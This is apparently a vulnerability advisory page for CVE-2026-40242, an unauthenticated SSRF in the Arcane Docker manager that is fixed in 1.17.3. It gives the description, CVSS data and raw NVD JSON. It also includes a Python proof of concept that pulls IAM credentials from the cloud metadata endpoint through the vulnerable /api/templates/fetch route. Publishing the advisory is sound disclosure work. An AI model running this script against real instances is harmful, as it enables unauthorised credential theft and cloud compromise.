Security Vulnerability Report
中文
CVE-2026-40242 CVSS 7.2 HIGH

CVE-2026-40242

Published: 2026-04-10 21:16:28
Last Modified: 2026-04-21 19:01:59

Description

Arcane is an interface for managing Docker containers, images, networks, and volumes. Prior to 1.17.3, the /api/templates/fetch endpoint accepts a caller-supplied url parameter and performs a server-side HTTP GET request to that URL without authentication and without URL scheme or host validation. The server's response is returned directly to the caller. type. This constitutes an unauthenticated SSRF vulnerability affecting any publicly reachable Arcane instance. This vulnerability is fixed in 1.17.3.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:getarcane:arcane:*:*:*:*:*:*:*:* - VULNERABLE
Arcane < 1.17.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def check_ssrf(target_base_url): """ PoC for CVE-2026-40242 Arcane SSRF Vulnerability This script attempts to retrieve the instance metadata via the vulnerable endpoint. """ target_url = f"{target_base_url.rstrip('/')}/api/templates/fetch" # Using a common internal metadata endpoint for testing # Change to http://127.0.0.1:80 or internal IPs for local testing payload_url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/" params = { "url": payload_url } try: print(f"[*] Sending request to: {target_url}") print(f"[*] Payload URL: {payload_url}") response = requests.get(target_url, params=params, timeout=10) if response.status_code == 200: print("[+] SSRF Successful! Response received:") print(response.text[:500]) # Print first 500 chars else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": # Replace with the actual target URL target = "http://localhost:3000" check_ssrf(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40242", "sourceIdentifier": "[email protected]", "published": "2026-04-10T21:16:27.747", "lastModified": "2026-04-21T19:01:58.550", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Arcane is an interface for managing Docker containers, images, networks, and volumes. Prior to 1.17.3, the /api/templates/fetch endpoint accepts a caller-supplied url parameter and performs a server-side HTTP GET request to that URL without authentication and without URL scheme or host validation. The server's response is returned directly to the caller. type. This constitutes an unauthenticated SSRF vulnerability affecting any publicly reachable Arcane instance. This vulnerability is fixed in 1.17.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:getarcane:arcane:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.17.3", "matchCriteriaId": "908A8D3F-26B0-4A9B-81F5-85D03CBF0E12"}]}]}], "references": [{"url": "https://github.com/getarcaneapp/arcane/releases/tag/v1.17.3", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/getarcaneapp/arcane/security/advisories/GHSA-ff24-4prj-gpmj", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/getarcaneapp/arcane/security/advisories/GHSA-ff24-4prj-gpmj", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}